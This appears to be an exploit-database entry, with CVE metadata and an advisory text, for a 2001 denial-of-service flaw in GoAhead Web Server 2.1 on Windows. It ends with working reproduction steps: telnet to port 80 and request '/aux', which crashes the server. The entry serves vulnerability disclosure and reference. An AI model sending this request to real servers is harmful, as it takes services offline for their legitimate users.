GoAhead Web Server 2.1 (Windows) - Denial of Service

Author: nemesystm
type: dos
platform: windows
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date_added: 2001-04-17 
date_updated: 2018-01-25 
verified: 1 
codes: CVE-2001-0385;OSVDB-6664 
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source: https://www.securityfocus.com/bid/2607/info

The GoAhead Web Server is a freely available, open source software package developed by GoAhead. The GoAhead Web Server offers a multi-platform web server and source code to the community.

A problem with the web server makes it possible to deny service to legitmate users of the software package. By accessing the web server, and issuing a request for the /aux directory, the web server ceases functioning. The process has to be manually restarted to resume normal operation.

Therefore, it is possible for a remote user to deny service to legitimate users of the web server.

telnet web.server 80
GET /aux
then hit return twice